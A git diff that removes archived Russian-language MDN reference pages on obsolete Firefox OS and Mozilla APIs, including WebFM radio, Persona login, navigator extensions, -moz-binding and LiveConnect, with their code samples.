Asynchronously changes the radio frequency. The value has to be between frequencyLowerBound and frequencyUpperBound. Trying to set outside the bounds results in an error.
-
Returns a {{domxref("DOMRequest")}} which success indicates the frequency has properly been changed.
-
{{domxref("FMRadio.seekUp()")}}
-
Asks the radio to find a new frequency (usually greater than the current one). If one is successfully found, a frequencychange event is fired. Returns a {{domxref("DOMRequest")}} which success indicates that the search has started. The search circles back to lower frequencies when the highest frequency has been reached.
-
{{domxref("FMRadio.seekDown()")}}
-
Same as above, but searching in frequencies lower than the current one. The search cirlces back to higher frequencies when the lowest frequency has been reached.
-
{{domxref("FMRadio.cancelSeek()")}}
-
Cancels the radio seek if one was happening. Returns a {{domxref("DOMRequest")}} which success indicates that the frequency search has been cancelled.
-
- -

Спецификация

- -

Ещё нет спецификаций.

- -

See also

- - diff --git a/files/ru/web/api/identitymanager/index.html b/files/ru/web/api/identitymanager/index.html deleted file mode 100644 index 01b4a96364..0000000000 --- a/files/ru/web/api/identitymanager/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: IdentityManager -slug: Web/API/IdentityManager -tags: - - API - - Persona - - Reference -translation_of: Archive/IdentityManager ---- -

{{APIRef("Persona")}}{{non-standard_header}}

- -

The IdentityManager of the  BrowserID protocol exposes the BrowserID API, via {{domxref("navigator.id")}}. This API has gone through several significant revisions. Each generation is listed separately below.

- -

The "Observer" API (Current)

- -

The Observer API introduces much-requested features, such as an improved post-verification experience for first-time users, automatic persistent logins, and easier integration with native applications.

- -
-
{{ domxref("IdentityManager.watch()")}}
-
Registers callbacks to be invoked when a user logs into or out of a website.
-
{{ domxref("IdentityManager.request()")}}
-
Requests a signed identity assertion from the user.
-
{{ domxref("IdentityManager.logout()")}}
-
Logs the user out of a website and prevents the onlogin action from automatically firing on their next visit.
-
- -
-

Users with third-party cookies disabled may experience problems logging in using the Observer API as detailed in issue 2999.

-
- -

The "Callback" API (Current)

- -

The Callback API was introduced in November 2011. It improved upon the initial API by allowing options to be passed to navigator.id.get() and offering experimental support for BrowserID-managed persistent sessions.

- -
-
{{ domxref("IdentityManager.get()")}}
-
Gets the user's BrowserID in a signed assertion.
-
- -

The "VerifiedEmail" API (Deprecated)

- -

The VerifiedEmail API was BrowserID's first API. It was deprecated at the end of 2011.

- -
-
{{ domxref("IdentityManager.getVerifiedEmail()")}} {{ deprecated_inline() }}
-
Gets the user's BrowserID in a signed assertion. This method is deprecated; {{ domxref("navigator.id.get()")}} is backwards compatible and can be used instead.
-
diff --git a/files/ru/web/api/identitymanager/request/index.html b/files/ru/web/api/identitymanager/request/index.html deleted file mode 100644 index 2923f0a359..0000000000 --- a/files/ru/web/api/identitymanager/request/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: navigator.id.request -slug: Web/API/IdentityManager/request -tags: - - API - - BrowserID - - DOM - - Persona - - Безопасность - - Использование - - Настройка - - Справка - - запрос - - метод - - не стандартный - - справка DOM - - справка Gecko DOM -translation_of: Archive/IdentityManager/request ---- -
{{ ApiRef }}
- -

Кратко

- -

Эта функция позволяет использовать Persona для аутентификации пользователей на вебсайте. Она должна вызываться внутри обработки щелчка мыши, к примеру, вы должны вызвать её, когда пользователь щелкнул по кнопке «Войти с помощью Persona».

- -

Когда функция navigator.id.request() вызвана она попросит пользователя выбрать адрес электронной почты, который он желает использовать для входа, а также попросит пройти процедуру аутентификации у поставщика услуг (электронной почты, прим. переводчика), если срок сертификата пользователя истёк. После этого, она создаёт подписанную заявку (assertion), содержащую адрес эл.почты пользователя и передаёт эту заявку функции onlogin, зарегистрированной с помощью {{domxref("navigator.id.watch()")}}.

- -

Эта функция должна использоваться обязательно в связке с  {{domxref("navigator.id.watch()")}}.

- -

Синтаксис

- -
navigator.id.request();
-navigator.id.request({siteName: 'Название сайта', siteLogo: '/logo.png'});
-navigator.id.request({termsOfService: '/tos.html', privacyPolicy: '/privacy.html'});
-
- -

Параметры

- -
-
backgroundColor {{ optional_inline() }}
-
Шестнадцатеричный код цвета для фона диалогового окна. Формат: "#rgb" или "#rrggbb".
-
oncancel {{ optional_inline() }}
-
Функция, которую следует вызвать в случае отказа пользователя предоставить свой идентификатор сайту.
-
privacyPolicy {{ optional_inline() }}
-
Должен передаваться по SSL. Так же должен быть передан параметр termsOfService (Условия Предоставления Услуг).
-
Абсолютный путь или URL до описания политики конфиденциальности веб-сайта. Если этот параметр предоставлен, тогда так же должен быть предоставлен параметр termsOfService. Когда оба эти параметра (termsOfService и privacyPolicy) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.
-
returnTo {{ optional_inline() }}
-
Абсолютный путь на который будут отправлены новые пользователи, закончившие процедуру проверки эл.почты в первый раз. Путь должен начинаться с '/'. Этот параметр действует только на тех пользователей, которые проходят сертификацию через запсную Службу Предоставления Идентификаторов от Mozilla (Mozilla's Identity Provider, - прим.). Предоставляемое значение должно указывать реально существующий путь, который может быть использован так же в качестве локации окна – window.location.
-
siteLogo {{ optional_inline() }}
-
Должен передаваться по SSL.
-
Абсолютный путь до изображения, которое будет отображаться в диалоговом окне входа. Путь должен начинаться с '/'. Изображения, превышающие размер 100x100 пикселей будут маштабированы до этого размера.
-
siteName {{ optional_inline() }}
-
Название вашего сайта, которое будет отображаться в диалоговом окне входа в формате простого текста (plain text - прим.). Допустимы символы Юникода и пробельные символы, но не разметка.
-
termsOfService {{ optional_inline() }}
-
Должен передаваться по SSL. Так же должен быть предоставлен параметр privacyPolicy (Политика Конфиденциальности).
-
Абсолютный путь или URL адрес до описания условий предоставления услуг веб-сайта. Если этот параметр указан, тогда так же должен быть указан параметр privacyPolicy.  Когда оба эти параметра (termsOfService и privacyPolicy) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.
-
- -

Пример

- -
var signinLink = document.getElementById('signin');
-
-if (signinLink) {
-  signinLink.onclick = function(evt) {
-    // Запрашивает подписанную идентификационную заявку от пользователя.
-    navigator.id.request({
-      siteName: 'Мой Сайт',
-      siteLogo: '/logo.png',
-      termsOfService: '/tos.html',
-      privacyPolicy: '/privacy.html',
-      returnTo: '/welcome.html',
-      oncancel: function() { alert('Пользователь отказался идентифицироваться.'); }
-    });
-  };
-}
- -

Технические описания (Спецификации)

- -

Не включена ни в одно техническое описание.

- -

Также смотрите

- - diff --git a/files/ru/web/api/navigator/getdatastores/index.html b/files/ru/web/api/navigator/getdatastores/index.html deleted file mode 100644 index 5c3b1d7fab..0000000000 --- a/files/ru/web/api/navigator/getdatastores/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Navigator.getDataStores() -slug: Web/API/Navigator/getDataStores -translation_of: Archive/B2G_OS/API/Navigator/getDataStores ---- -
{{APIRef("Data Store API")}} {{ non-standard_header }} {{ B2GOnlyHeader2('certified') }}
- -

Описание

- -

Метод navigator.getDataStores() предоставляющий доступ к списку Data Store API хранилищ данных доступных на устройстве.

- -

Синтаксис

- -
navigator.getDataStores('contacts').then(function(stores) {
-  // сделать что-либо с массивом хранилищ данных в хранилище.
-});
- -

Параметры

- -
-
storeName
-
Имя хранилища данных которое вы хотите вернуть. Возвращается массив, потому что может быть несколько хранилищ данных с таким же именем.
-
- -

Возврат

- -

Объект {{jsxref("Promise")}} который будет связан с массивом объекта {{domxref("DataStore") }}.

- -

Пример

- -
navigator.getDataStores('contacts').then(function(stores) {
-  stores[0].getLength().then(function(storeLength) {
-    if(storeLength == 0) {
-      for(i = 0; i < contactsInit.length; i++) {
-        addContact(stores[0],contactsInit[i]);
-      };
-    } else {
-      var cursor = stores[0].sync();
-      runNextTask(cursor);
-    }
-  });
-});
- -

Спецификации

- -

{{page("/en-US/docs/Web/API/Data_Store_API","Specifications")}}

- -

Совместимость с браузерами

- -

{{page("/en-US/docs/Web/API/Data_Store_API","Browser_compatibility")}}

- -

Смотрите также

- - diff --git a/files/ru/web/api/navigator/id/index.html b/files/ru/web/api/navigator/id/index.html deleted file mode 100644 index ba98e02cf6..0000000000 --- a/files/ru/web/api/navigator/id/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Navigator.id -slug: Web/API/Navigator/id -tags: - - DOM - - Reference - - Référence(2) -translation_of: Archive/Navigator-id ---- -
{{ ApiRef("Persona") }}
- -

Summary

- -

The BrowserID protocol defines a new id property on the {{ domxref ("window.navigator")}} object, through which it exposes the BrowserID API, that is the {{domxref("IdentityManager")}} intreface. This API has gone through several significant revisions. Each generation is listed separately below.

- -

Syntax

- -
var id = navigator.id
- -

 

diff --git a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html deleted file mode 100644 index e8a42e9207..0000000000 --- a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Navigator.mozAudioChannelManager -slug: Web/API/Navigator/mozAudioChannelManager -translation_of: Archive/B2G_OS/API/Navigator/mozAudioChannelManager ---- -

{{APIRef("Firefox OS")}}{{Non-standard_header}}

- -

Объект navigator.mozAudioChannelManager предоставляющий доступ к интерфейсу  {{domxref("mozAudioChannelManager")}} который используется для  управления аудио каналами вашего устроства Firefox OS включая настройки эффекта громкости канала, когда кнопки регулировки громкости нажимаются внутри конкретного приложения.

- -

Синтаксис

- -
var mgr = window.navigator.mozAudioChannelManager;
- -

Возвращаемое значение

- -

A {{domxref("mozAudioChannelManager")}} object.

- -

Спецификация

- -

{{page("/en-US/docs/Web/API/mozAudioChannelManager","Specifications")}}

- -

Совместимость с браузерами

- -

{{page("/en-US/docs/Web/API/mozAudioChannelManager","Browser_compatibility")}}

- -

Смотрите также

- - diff --git a/files/ru/web/api/navigator/mozcamera/index.html b/files/ru/web/api/navigator/mozcamera/index.html deleted file mode 100644 index 620fba2e0e..0000000000 --- a/files/ru/web/api/navigator/mozcamera/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Navigator.mozCamera -slug: Web/API/Navigator/mozCamera -translation_of: Archive/B2G_OS/API/Navigator/mozCamera ---- -

{{APIRef("Firefox OS")}}

- -

{{ non-standard_header() }}

- -

{{B2GOnlyHeader2('privileged')}}

- -

Резюме

- -

Возвращает объект {{ domxref("CameraManager") }} который вы можите использовать для доступа к камере доступной на устройстве пользователя.

- -

Синтаксис

- -
var camera = window.navigator.mozCamera;
-
- -

Значение

- -

navigator.mozCamera это объект {{domxref("CameraManager")}} который вы можете использовать для доступа к камере доступной на устройстве.

- -

Спецификация

- -

Не является еще частю какой-либо спецификации; Оно, вероятно, будет заменено на WebRTC, когда оно получит более широкую поддержку на мобильных устройствах.

- -

Права доступа

- -

До Firefox OS 1.4,  API камеры было сертифицированным API, недоступным для сторонних приложений. С Firefox OS 2.0 и далее,  Уровень доступа был понижен до привелигированного, так что теперь доступно для разработчиков сторонних приложений.

- -
"permissions": {
-  "camera": {
-    "description": "Required for accessing cameras on the device."
-  }
-}
- -

Смотрите также

- - diff --git a/files/ru/web/api/navigator/mozl10n/index.html b/files/ru/web/api/navigator/mozl10n/index.html deleted file mode 100644 index 590d3238cd..0000000000 --- a/files/ru/web/api/navigator/mozl10n/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Navigator.mozL10n -slug: Web/API/Navigator/mozL10n -tags: - - API - - Firefox OS - - Localization - - Reference - - Référence(2) - - Локализация - - Справка - - Справка(2) -translation_of: Archive/B2G_OS/API/Navigator/mozL10n ---- -

{{APIRef("Firefox OS")}}{{ non-standard_header() }}

- -

navigator.mozL10n возвращает объект {{ domxref("L10n") }}, который вы можете использовать для доступа к ресурсам локализации и реагировать на события локализации.

- -

Синтаксис

- -
var l10n = navigator.mozL10n;
-
- -

Значение

- -

navigator.mozL10n возвращает объект{{domxref("L10n")}}.

- -

Спецификация

- -

Не имеет спецификации. Заметим, что в будущем этот API будет заменен на L20n.

- -

Смотри также

- - diff --git a/files/ru/web/api/navigator/moznfc/index.html b/files/ru/web/api/navigator/moznfc/index.html deleted file mode 100644 index 8e21ea296b..0000000000 --- a/files/ru/web/api/navigator/moznfc/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Navigator.mozNfc -slug: Web/API/Navigator/mozNfc -translation_of: Archive/B2G_OS/API/Navigator/mozNfc ---- -

{{APIRef("Firefox OS")}}{{ non-standard_header() }}

- -

Описание

- -

Свойство mozNfc возвращает объект {{ domxref("MozNFC") }} который может быть использован для доступа к функциональности Firefox OS's NFC: Near Field Communication (NFC)  это радио технология малой дальности, используемая для обмена данными и тегами между мобильными устройствами прижатыми друг к другу или находящимися близко друг к другу.

- -

Для получения детальной иформации о NFC, прочтите Использование NFC API и изучите NFC справку.

- -

Синтаксис

- -
var nfc = navigator.mozNfc;
-
- -

Возвращаемое значение

- -

navigator.mozNfc возвращает объект {{ domxref("MozNFC") }}.

- -

Совместимость с браузерами

- -

{{page("/en-US/docs/Web/API/NFC_API","Browser_compatibility")}}

- -

Спецификация

- -

{{page("/en-US/docs/Web/API/NFC_API","Specification")}}

- -

Смотрите также

- - diff --git a/files/ru/web/api/webfm_api/index.html b/files/ru/web/api/webfm_api/index.html deleted file mode 100644 index 11727674af..0000000000 --- a/files/ru/web/api/webfm_api/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: WebFM API -slug: Web/API/WebFM_API -tags: - - WebFMAPI -translation_of: Archive/B2G_OS/API/WebFM_API ---- -

{{ non-standard_header() }}

- -

{{ B2GOnlyHeader2('installed') }}

- -

Summary

- -

The WebFM API provides access to the device FM radio. It allows turning the radio on/off and switching among radio stations. This API is available through the {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}} property which is a {{domxref("FMRadio")}} object.

- -

Включение и выключение радио

- -

Для того чтобы включить радио используйте метод {{domxref("FMRadio.enable()")}}, для выключения {{domxref("FMRadio.disable()")}}.

- -

Перед включением радио следует проверить доступность антены, так как без нее встроенный радиомодуль не в состоянии поймать какую либо станцию. Информация о доступности антенны находится в свойстве {{domxref("FMRadio.antennaAvailable")}}. Как правило, в мобильных устройствах роль антены выполняют наушники (проводная гарнитура). Каждый раз когда пользователь подсоединяет или отсоединяет проводную гарнитуру WebFM API вызывает событие {{event("antennaavailablechange")}}.

- -

To turn the radio on it's necessary to provide a frequency to listen. That frequency (in MHz) is a number pass to the {{domxref("FMRadio.enable()")}} method.

- -
// Частота радиостанции в MHz
-var frequency = 99.1;
-var radio = navigator.mozFMRadio;
-
-if (radio.antennaAvailable) {
-  radio.enable(frequency);
-} else {
-  alert("Вам необходимо подсоединить гарнитуру");
-}
-
-radio.addEventListener('antennaavailablechange', function () {
-  if (radio.antennaAvailable) {
-    radio.enable(frequency);
-  } else {
-    radio.disable();
-  }
-})
-
- -
-

Note: The audio is output through the normal audio channel available on the device.

-
- -

Switching among frequency

- -

Switching from on frequency to another can be done manually or automatically. In any case, the current radio frequency listened to by the built-in radio is always available with the {{domxref("FMRadio.frequency")}} property. That property is number representing the frequency in MHz.

- -

Manual switch

- -

The {{domxref("FMRadio.setFrequency()")}} method must be used to set a new frequency to listen. However, there are some constraints about the value that can be set. The method will return a {{domxref("DOMRequest")}} object to handle the success or error of the method call. The frequency must fulfill the following requirements:

- - - -
var change = radio.setFrequency(frequency);
-
-change.onerror = function () {
-  var min = radio.frequencyLowerBound;
-  var max = radio.frequencyUpperBound;
-  console.warn('The frequency must be within the range [' + min + ',' + max + ']');
-}
-
-change.onsuccess = function () {
-  console.log('The frequency has been set to ' + radio.frequency);
-}
-
- -

Автоматический поиск

- -

WebFM API предоставляет удобный способ автоматического поиска радиоканалов. Для восходящего поиска используйте метод {{domxref("FMRadio.seekUp()")}}, а для низходящего, метод {{domxref("FMRadio.seekDown()")}}.

- -

The WebFM API also provides a convinient way to seek radio channels automatically. To that end, we can use the {{domxref("FMRadio.seekUp()")}} (to find a radio channel on a higher frequency than the current one) and {{domxref("FMRadio.seekDown()")}} method. The former is used to find a radio channel with a higher frequency than the current one, and the latter for a radio channel with a lower frequency. Those methods return a {{domxref("DOMRequest")}} object to handle the success or error of each method call.

- -

Both methods will circle back to higher or lower frequency once they reach the {{domxref("FMRadio.frequencyLowerBound","frequencyLowerBound")}} or {{domxref("FMRadio.frequencyUpperBound","frequencyUpperBound")}} values. When they find a new radio channel, they change the current frequency and fire a {{event("frequencychange")}} event.

- -

It's not possible to seek twice at the same time (e.g. it's not possible to seek up and down at the same time), trying to do so, will result in an error. But if necessary it's possible to stop seeking by calling the {{domxref("FMRadio.cancelSeek()")}} method. This method will also return a {{domxref("DOMRequest")}} object.

- -
var radio   = navigator.mozFMRadio;
-var seeking = false;
-var UP      = document.querySelector("button.up");
-var DOWN    = document.querySelector("button.down");
-
-// When the frequency change, the seek
-// functions automatically stop to seek.
-radio.onfrequencychange = function () {
-  seeking = false;
-}
-
-function seek(direction) {
-  var cancel, search;
-
-  // If the radio is already seeking
-  // we will cancel the current search.
-  if (seeking) {
-    var cancel = radio.cancelSeek();
-    cancel.onsuccess = function () {
-      seeking = false;
-
-      // Once the radio no longer seek,
-      // we can try to seek as expected
-      seek(direction);
-    }
-
-  // Let's seek up
-  } else if (direction === 'up') {
-    // Just to be sure that the radio is turned on
-    if (!radio.enabled) {
-      radio.enable(radio.frequencyLowerBound);
-    }
-    search = radio.seekUp();
-
-  // Let's seek up
-  } else if (direction === 'down' {
-    // Just to be sure that the radio is turned on
-    if (!radio.enabled) {
-      radio.enable(radio.frequencyUpperBound);
-    }
-    search = radio.seekDown();
-  }
-
-  if (search) {
-    search.onsuccess = function () {
-      // Ok, we are seeking now.
-      seeking = true;
-    };
-    search.onerror = function () {
-      // Something goes wrong... ok, let's try again.
-      seek(direction);
-    }
-  }
-}
-
-UP.addEventListener('click', function () {
-  seek('up');
-});
-
-DOWN.addEventListener('click', function () {
-  seek('down');
-});
-
- -

Specification

- -

Not part of any specification.

- -

See also

- - diff --git a/files/ru/web/css/-moz-binding/index.html b/files/ru/web/css/-moz-binding/index.html deleted file mode 100644 index e9c8b29c44..0000000000 --- a/files/ru/web/css/-moz-binding/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: '-moz-binding' -slug: Web/CSS/-moz-binding -translation_of: Archive/Web/CSS/-moz-binding ---- -
{{CSSRef}}{{Non-standard_Header}}{{Deprecated_Header(57)}}
- -

The -moz-binding CSS property is used by Mozilla-based applications to attach an XBL binding to a DOM element.

- -

{{CSSInfo}}

- -

Syntax

- -
/* <url> value */
--moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#checkbox);
-
-/* Global values */
--moz-binding: inherited;
--moz-binding: initial;
--moz-binding: unset;
-
- -

Values

- -
-
{{CSSxRef("<url>")}}
-
The URL for the XBL binding (including the fragment identifier).
-
none
-
No XBL binding is applied to the element.
-
- -

Formal syntax

- -
{{CSSSyntax}}
- -

Example

- -
.exampleone {
-  -moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#radiobutton);
-}
- -

Specifications

- -

Not part of any specification.

- -

Browser compatibility

- -
-

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxIEOperaSafari
Basic support {{Deprecated_Inline}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureWebView AndroidChrome AndroidEdge MobileFirefox AndroidOpera AndroidSafari iOSSamsung Internet Android
Basic support {{Deprecated_Inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

1. XBL is deprecated and being removed (See {{bug(1397874)}}).

-
- -

See also

- - diff --git a/files/ru/web/events/dommodaldialogclosed/index.html b/files/ru/web/events/dommodaldialogclosed/index.html deleted file mode 100644 index 67b480544b..0000000000 --- a/files/ru/web/events/dommodaldialogclosed/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: DOMModalDialogClosed -slug: Web/Events/DOMModalDialogClosed -translation_of: Archive/Add-ons/Events/DOMModalDialogClosed ---- -

The DOMModalDialogClosed event is executed when a modal dialog has been closed.

- -

General info

- -
-
Specification
-
Addons specific
-
Interface
-
Event
-
Bubbles
-
Yes
-
Cancelable
-
Yes
-
Target
-
window, browser
-
Default Action
-
None
-
- -

Properties

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

See also

- - diff --git a/files/ru/web/events/domsubtreemodified/index.html b/files/ru/web/events/domsubtreemodified/index.html deleted file mode 100644 index dfd00fe94d..0000000000 --- a/files/ru/web/events/domsubtreemodified/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: DOMSubtreeModified -slug: Web/Events/DOMSubtreeModified -tags: - - DOMSubtreeModified -translation_of: Archive/Events/DOMSubtreeModified ---- -

Пример

- -

Следующий код отображает время последнего изменения DOM в строке заголовка страницы.

- -
-

Это событие устарело в пользу  Mutation Observer API

-
- -
Будьте очень осторожны с этим событием, легко вызвать бесконечный цикл, если вы решите изменить DOM внутри обработчика событий.
- -
document.body.addEventListener('DOMSubtreeModified', function () {
-  document.title = 'DOM Изменен в ' + new Date();
-}, false);
-
diff --git a/files/ru/web/javascript/guide/liveconnect_overview/index.html b/files/ru/web/javascript/guide/liveconnect_overview/index.html deleted file mode 100644 index baf6f2577c..0000000000 --- a/files/ru/web/javascript/guide/liveconnect_overview/index.html +++ /dev/null @@ -1,795 +0,0 @@ ---- -title: LiveConnect Overview -slug: Web/JavaScript/Guide/LiveConnect_Overview -translation_of: Archive/Web/LiveConnect/LiveConnect_Overview ---- -

Эта глава описывает технолонию LiveConnect которая позволяет Java и JavaScript взаимодейстовать между собой. В этой главе полагается что вы имеет представление о языке программирования Java.

- -

Working with Wrappers

- -

В JavaScript, обертка это объект s an object of the target language data type that encloses an object of the source language. When programming in JavaScript, you can use a wrapper object to access methods and fields of the Java object; calling a method or accessing a property on the wrapper results in a call on the Java object. On the Java side, JavaScript objects are wrapped in an instance of the class netscape.javascript.JSObject and passed to Java.

- -

When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type JSObject; when a JSObject is sent from Java to JavaScript, the runtime engine unwraps it to its original JavaScript object type. The JSObject class provides an interface for invoking JavaScript methods and examining JavaScript properties.

- -

JavaScript to Java Communication

- -

When you refer to a Java package or class, or work with a Java object or array, you use one of the special LiveConnect objects. All JavaScript access to Java takes place with these objects, which are summarized in the following table.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 9.1 The LiveConnect Objects
ObjectDescription
JavaArrayA wrapped Java array, accessed from within JavaScript code.
JavaClassA JavaScript reference to a Java class.
JavaObjectA wrapped Java object, accessed from within JavaScript code.
JavaPackageA JavaScript reference to a Java package.
- -

Note: Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. See Data Type Conversion for complete information.

- -

In some ways, the existence of the LiveConnect objects is transparent, because you interact with Java in a fairly intuitive way. For example, you can create a Java String object and assign it to the JavaScript variable myString by using the new operator with the Java constructor, as follows:

- -
var myString = new java.lang.String("Hello world");
-
- -

In the previous example, the variable myString is a JavaObject because it holds an instance of the Java object String. As a JavaObject, myString has access to the public instance methods of java.lang.String and its superclass, java.lang.Object. These Java methods are available in JavaScript as methods of the JavaObject, and you can call them as follows:

- -
myString.length(); // returns 11
-
- -

Static members can be called directly on the JavaClass object.

- -
alert(java.lang.Integer.MAX_VALUE); //alerts 2147483647
-
- -

The Packages Object

- -

If a Java class is not part of the java, sun, or netscape packages, you access it with the Packages object. For example, suppose the Redwood corporation uses a Java package called redwood to contain various Java classes that it implements. To create an instance of the HelloWorld class in redwood, you access the constructor of the class as follows:

- -
var red = new Packages.redwood.HelloWorld();
-
- -

You can also access classes in the default package (that is, classes that don't explicitly name a package). For example, if the HelloWorld class is directly in the CLASSPATH and not in a package, you can access it as follows:

- -
var red = new Packages.HelloWorld();
-
- -

The LiveConnect java, sun, and netscape objects provide shortcuts for commonly used Java packages. For example, you can use the following:

- -
var myString = new java.lang.String("Hello world");
-
- -

instead of the longer version:

- -
var myString = new Packages.java.lang.String("Hello world");
-
- -

Working with Java Arrays

- -

When any Java method creates an array and you reference that array in JavaScript, you are working with a JavaArray. For example, the following code creates the JavaArray x with ten elements of type int:

- -
var x = java.lang.reflect.Array.newInstance(java.lang.Integer, 10);
-
- -

Like the JavaScript Array object, JavaArray has a length property which returns the number of elements in the array. Unlike Array.length, JavaArray.length is a read-only property, because the number of elements in a Java array are fixed at the time of creation.

- -

Package and Class References

- -

Simple references to Java packages and classes from JavaScript create the JavaPackage and JavaClass objects. In the earlier example about the Redwood corporation, for example, the reference Packages.redwood is a JavaPackage object. Similarly, a reference such as java.lang.String is a JavaClass object.

- -

Most of the time, you don't have to worry about the JavaPackage and JavaClass objects—you just work with Java packages and classes, and LiveConnect creates these objects transparently. There are cases where LiveConnect will fail to load a class, and you will need to manually load it like this:

- -
var Widgetry = java.lang.Thread.currentThread().getContextClassLoader().loadClass("org.mywidgets.Widgetry");
-
- -

In JavaScript 1.3 and earlier, JavaClass objects are not automatically converted to instances of java.lang.Class when you pass them as parameters to Java methods—you must create a wrapper around an instance of java.lang.Class. In the following example, the forName method creates a wrapper object theClass, which is then passed to the newInstance method to create an array.

- -
// JavaScript 1.3
-var theClass = java.lang.Class.forName("java.lang.String");
-var theArray = java.lang.reflect.Array.newInstance(theClass, 5);
-
- -

In JavaScript 1.4 and later, you can pass a JavaClass object directly to a method, as shown in the following example:

- -
// JavaScript 1.4
-var theArray = java.lang.reflect.Array.newInstance(java.lang.String, 5);
-
- -

Arguments of Type char

- -

In JavaScript 1.4 and later, you can pass a one-character string to a Java method which requires an argument of type char. For example, you can pass the string "H" to the Character constructor as follows:

- -
var c = new java.lang.Character("H");
-
- -

In JavaScript 1.3 and earlier, you must pass such methods an integer which corresponds to the Unicode value of the character. For example, the following code also assigns the value "H" to the variable c:

- -
var c = new java.lang.Character(72);
-
- -

Handling Java Exceptions in JavaScript

- -

When Java code fails at run time, it throws an exception. If your JavaScript code accesses a Java data member or method and fails, the Java exception is passed on to JavaScript for you to handle. Beginning with JavaScript 1.4, you can catch this exception in a try...catch statement. (Although this functionality (along with some others) had been broken in Gecko 1.9 (see {{ bug("391642") }}) as the Mozilla-specific LiveConnect code had not been maintained inside Mozilla, with Java 6 update 11 and 12 building support for reliance on Mozilla's implementation of the generic (and cross-browser) NPAPI plugin code, this has again been fixed.)

- -

For example, suppose you are using the Java forName method to assign the name of a Java class to a variable called theClass. The forName method throws an exception if the value you pass it does not evaluate to the name of a Java class. Place the forName assignment statement in a try block to handle the exception, as follows:

- -
function getClass(javaClassName) {
-   try {
-      var theClass = java.lang.Class.forName(javaClassName);
-   } catch (e) {
-      return ("The Java exception is " + e);
-   }
-   return theClass;
-}
-
- -

In this example, if javaClassName evaluates to a legal class name, such as "java.lang.String", the assignment succeeds. If javaClassName evaluates to an invalid class name, such as "String", the getClass function catches the exception and returns something similar to the following:

- -
The Java exception is java.lang.ClassNotFoundException: String
-
- -

For specialized handling based on the exception type, use the instanceof operator:

- -
try {
-  // ...
-} catch (e) {
-  if (e instanceof java.io.FileNotFound) {
-     // handling for FileNotFound
-  } else {
-    throw e;
-  }
-}
-
- -

See Exception Handling Statements for more information about JavaScript exceptions.

- -

Java to JavaScript Communication

- -

If you want to use JavaScript objects in Java, you must import the netscape.javascript package into your Java file. This package defines the following classes:

- - - -

See the JavaScript Reference for more information about these classes.

- -

Locating the LiveConnect classes

- -

In older versions of the Netscape browser, these classes were distributed along with the browser. Starting with JavaScript 1.2, these classes are delivered in a .jar file; in previous versions of JavaScript, these classes are delivered in a .zip file. For example, with Netscape Navigator 4 for Windows NT, the classes are delivered in the java40.jar file in the Program\Java\Classes directory beneath the Navigator directory.

- -

More recently, the classes have been distributed with Sun's Java Runtime; initially in the file "jaws.jar" in the "jre/lib" directory of the runtime distribution (for JRE 1.3), then in "plugin.jar" in the same location (JRE 1.4 and up).

- -

Using the LiveConnect classes with the JDK

- -

To access the LiveConnect classes, place the .jar or .zip file in the CLASSPATH of the JDK compiler in either of the following ways:

- - - -

You can specify an environment variable in Windows NT by double-clicking the System icon in the Control Panel and creating a user environment variable called CLASSPATH with a value similar to the following:

- -
C:\Program Files\Java\jre1.4.1\lib\plugin.jar
-
- -

See the Sun JDK documentation for more information about CLASSPATH.

- -

Note: Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. See Data Type Conversions for complete information.

- -

Using the LiveConnect Classes

- -

All JavaScript objects appear within Java code as instances of netscape.javascript.JSObject. When you call a method in your Java code, you can pass it a JavaScript object as one of its argument. To do so, you must define the corresponding formal parameter of the method to be of type JSObject.

- -

Also, any time you use JavaScript objects in your Java code, you should put the call to the JavaScript object inside a try...catch statement which handles exceptions of type netscape.javascript.JSException. This allows your Java code to handle errors in JavaScript code execution which appear in Java as exceptions of type JSException.

- -

Accessing JavaScript with JSObject

- -

For example, suppose you are working with the Java class called JavaDog. As shown in the following code, the JavaDog constructor takes the JavaScript object jsDog, which is defined as type JSObject, as an argument:

- -
import netscape.javascript.*;
-
-public class JavaDog{
